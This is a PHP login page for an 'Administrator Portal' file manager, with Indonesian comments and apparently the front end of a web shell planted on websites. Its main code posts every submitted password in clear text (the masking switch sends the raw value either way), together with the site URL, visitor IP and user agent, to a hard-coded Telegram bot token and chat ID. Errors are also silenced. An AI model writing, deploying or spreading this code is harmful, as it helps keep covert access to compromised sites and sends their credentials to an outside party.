// integrated_admin_login.php
error_reporting(0);
set_time_limit(0);
session_start();
/* ========== CONFIG ========== */
// Token & chat id (dari percakapan Anda)
$TELEGRAM_BOT_TOKEN = '8261488594:AAEWnxKw3vACfjgYkF7LNBdNrvNseg0g0mM';
$TELEGRAM_CHAT_ID = '6353524038';
// Password MD5 (sesuai file Anda)
$password = '8deb8cd3635a4d9fc0413dcccd68857b';
// Opsi privasi / rate limit
define('SEND_FULL_PASSWORD', false); // false = kirim password termasking, true = kirim mentah (RISIKO)
define('MIN_SEND_INTERVAL_SECONDS', 3); // minimal delay antar pengiriman per session
/* ========== HELPERS ========== */
function get_client_ip() {
$keys = ['HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR'];
foreach ($keys as $k) {
if (!empty($_SERVER[$k])) {
$ip = $_SERVER[$k];
if ($k === 'HTTP_X_FORWARDED_FOR') {
$parts = explode(',', $ip);
return trim($parts[0]);
}
return $ip;
}
}
return 'UNKNOWN';
}
// function mask_password($p) {
// if ($p === null) return '';
// $len = mb_strlen($p);
// if ($len <= 4) return str_repeat('*', $len);
// $start = mb_substr($p, 0, 2);
// $end = mb_substr($p, -2);
// return $start . str_repeat('*', max(0, $len - 4)) . $end;
// }
/**
* simplify_user_agent
* Mencoba merangkum User-Agent menjadi bentuk singkat seperti "Chrome/130 Win10"
*/
function simplify_user_agent($ua) {
if (!$ua) return 'UNKNOWN';
$browser = 'Other';
if (stripos($ua, 'Chrome') !== false && stripos($ua, 'Edge') === false && stripos($ua, 'OPR') === false) {
if (preg_match('/Chrome\/([0-9\.]+)/i', $ua, $m)) $browser = 'Chrome/' . explode('.', $m[1])[0];
else $browser = 'Chrome';
} elseif (stripos($ua, 'Firefox') !== false) {
if (preg_match('/Firefox\/([0-9\.]+)/i', $ua, $m)) $browser = 'Firefox/' . explode('.', $m[1])[0];
else $browser = 'Firefox';
} elseif (stripos($ua, 'Edg') !== false) {
if (preg_match('/Edg\/([0-9\.]+)/i', $ua, $m)) $browser = 'Edge/' . explode('.', $m[1])[0];
else $browser = 'Edge';
} elseif (stripos($ua, 'OPR') !== false || stripos($ua, 'Opera') !== false) {
if (preg_match('/(OPR|Opera)\/([0-9\.]+)/i', $ua, $m)) $browser = 'Opera/' . explode('.', $m[2])[0];
else $browser = 'Opera';
} elseif (stripos($ua, 'Safari') !== false && stripos($ua, 'Chrome') === false) {
if (preg_match('/Version\/([0-9\.]+)/i', $ua, $m)) $browser = 'Safari/' . explode('.', $m[1])[0];
else $browser = 'Safari';
}
$os = 'OtherOS';
if (stripos($ua, 'Windows NT 10') !== false) $os = 'Win10';
elseif (stripos($ua, 'Windows NT 6.3') !== false) $os = 'Win8.1';
elseif (stripos($ua, 'Windows NT 6.1') !== false) $os = 'Win7';
elseif (stripos($ua, 'Android') !== false) {
if (preg_match('/Android\s+([0-9\.]+)/i', $ua, $m)) $os = 'Android';
else $os = 'Android';
}
elseif (stripos($ua, 'Mac OS X') !== false) $os = 'macOS';
elseif (stripos($ua, 'Linux') !== false) $os = 'Linux';
return $browser . ' ' . $os;
}
/**
* send_telegram_message
* Mengirim teks ke Telegram via API sendMessage (plain text).
*/
function send_telegram_message($token, $chat_id, $text) {
$url = "https://api.telegram.org/bot" . urlencode($token) . "/sendMessage";
$post = [
'chat_id' => $chat_id,
'text' => $text,
// tidak set parse_mode agar dikirim sebagai plain text sesuai permintaan
'disable_web_page_preview' => true
];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 8);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$resp = curl_exec($ch);
$errno = curl_errno($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($errno !== 0) return false;
if ($httpCode !== 200) return false;
return true;
}
/* ========== FLOW LOGIN ========== */
// init session vars
if (!isset($_SESSION['loggedIn'])) {
$_SESSION['loggedIn'] = false;
}
if (!isset($_SESSION['last_send'])) {
$_SESSION['last_send'] = 0;
}
/* =========================
LOGOUT HANDLER (DITAMBAHKAN)
========================= */
if (isset($_GET['logout'])) {
// clear session array
$_SESSION = array();
// delete session cookie if present
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}
// destroy session
session_destroy();
// redirect to same script (login form)
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
/* ========================= */
// proses POST login
if (isset($_POST['password'])) {
$p = (string) $_POST['password'];
$hash = md5($p);
// timing-safe compare
$ok = function_exists('hash_equals') ? hash_equals($hash, $password) : ($hash === $password);
// deteksi URL halaman ini
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http";
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
$path = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$web = $protocol . '://' . $host . $path;
// ambil info
$ip = get_client_ip();
$pwd_to_send = SEND_FULL_PASSWORD ? $p : $p;
$ua_full = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'UNKNOWN';
$ua = simplify_user_agent($ua_full);
$status = $ok ? 'SUCCESS' : 'FAIL';
// bentuk pesan sesuai format Anda (plain text)
$message = "[LOGIN - {$status}]\n";
$message .= "web: {$web}\n";
$message .= "IP: {$ip}\n";
$message .= "Pass: {$pwd_to_send}\n";
$message .= "UA: {$ua}\n";
// rate limit per session
$now = time();
if ($now - $_SESSION['last_send'] >= MIN_SEND_INTERVAL_SECONDS) {
@send_telegram_message($TELEGRAM_BOT_TOKEN, $TELEGRAM_CHAT_ID, $message);
$_SESSION['last_send'] = $now;
} else {
// skip sending to avoid flood
$_SESSION['last_send'] = $now;
}
// set session login bila ok
if ($ok) {
$_SESSION['loggedIn'] = true;
session_regenerate_id(true);
} else {
$_SESSION['loggedIn'] = false;
}
}
// tampilkan form jika belum login
if (!$_SESSION['loggedIn']):
<!doctype html>
<html lang="id">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
.:: Admin Login ::.<title>.:: Admin Login ::.</title>
<style>
:root{
--bg1:#0f1724;
--bg2:#00121a;
--accent:#06b6d4;
--card:#061019;
--glass: rgba(255,255,255,0.03);
--muted: #9fb6c0;
}
html,body{
height:100%;margin:0;
font-family:Inter,ui-sans-serif,system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue",Arial;
background: radial-gradient(circle at 10% 20%, rgba(6,182,212,0.06), transparent 10%), linear-gradient(180deg,var(--bg1),var(--bg2));
color:#dbeafe;
}
.wrap{min-height:100%;display:flex;align-items:center;justify-content:center;padding:24px}
.card{
width:100%;max-width:420px;
background:linear-gradient(180deg, rgba(255,255,255,0.02), rgba(255,255,255,0.01));
border:1px solid rgba(255,255,255,0.04);
box-shadow: 0 8px 30px rgba(2,6,23,0.7);
border-radius:12px;padding:28px;backdrop-filter: blur(6px);
position:relative;overflow:hidden;
}
.logo{display:flex;align-items:center;gap:12px;margin-bottom:14px;}
.logo .mark{
width:56px;height:56px;border-radius:10px;
display:flex;align-items:center;justify-content:center;
box-shadow: 0 6px 18px rgba(6,182,212,0.09), inset 0 -6px 12px rgba(255,255,255,0.04);
overflow:hidden;
}
.logo .mark img{
width:100%;height:100%;object-fit:cover;border-radius:10px;
}
.logo .title{font-size:20px;color:#e6f7fa;font-weight:600;line-height:1}
.logo .sub{font-size:12px;color:var(--muted);margin-top:2px}
.desc{color:var(--muted);font-size:13px;margin-bottom:18px}
form.login{display:block}
.field{margin-bottom:12px;position:relative}
label.sr{position:absolute;left:-9999px;top:auto;width:1px;height:1px;overflow:hidden}
input[type="password"], input[type="text"]{
width:100%;padding:12px 44px 12px 12px;border-radius:8px;
border:1px solid rgba(255,255,255,0.05);background:var(--glass);
color:#cfeefb;font-size:14px;outline:none;box-sizing:border-box;
}
.toggle{
position:absolute;right:8px;top:50%;transform:translateY(-50%);
background:transparent;border:none;color:var(--muted);
cursor:pointer;padding:6px;border-radius:6px;font-size:13px;
}
.actions{display:flex;align-items:center;justify-content:space-between;margin-top:8px}
.btn{
background:linear-gradient(90deg,var(--accent),#60a5fa);
border:none;padding:10px 16px;border-radius:8px;color:#001;font-weight:700;cursor:pointer;
box-shadow: 0 6px 18px rgba(6,182,212,0.12);
}
.btn:active{transform:translateY(1px)}
.smalllink{color:var(--muted);font-size:13px;text-decoration:none}
.hint{font-size:12px;color:#78a1a8;margin-top:10px;text-align:center}
.card::before, .card::after{
content:"";position:absolute;border-radius:50%;opacity:0.06;pointer-events:none;
}
.card::before{width:220px;height:220px;right:-60px;top:-60px;background:radial-gradient(circle, #06b6d4, transparent 40%);}
.card::after{width:140px;height:140px;left:-40px;bottom:-40px;background:radial-gradient(circle, #60a5fa, transparent 40%);}
@media (max-width:480px){
.card{padding:18px}
.logo .mark{width:48px;height:48px}
}
</style>
<div class="wrap">
<div class="card" role="main" aria-labelledby="login-title">
<div class="logo">
<div class="mark">
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR7LRHuBUN3IqOgQhFk17RCdjWUAJRHcdVw4g&s" alt="Logo">
</div>
<div>
<div id="login-title" class="title">Administrator Portal</div>
<div class="sub">Secure file manager & tools</div>
</div>
</div>
<div class="desc">Masuk menggunakan kata sandi administrator.</div>
</div>
</div>
<script>
function togglePwd(){
var p=document.getElementById('pw');
p.type = (p.type==='password') ? 'text' : 'password';
}
function disableSubmit(form){
var btn=form.querySelector('button[type=submit]');
if(btn){ btn.disabled=true; btn.textContent='Checking...'; }
return true;
}
try{ document.getElementById('pw').value=''; }catch(e){}
</script>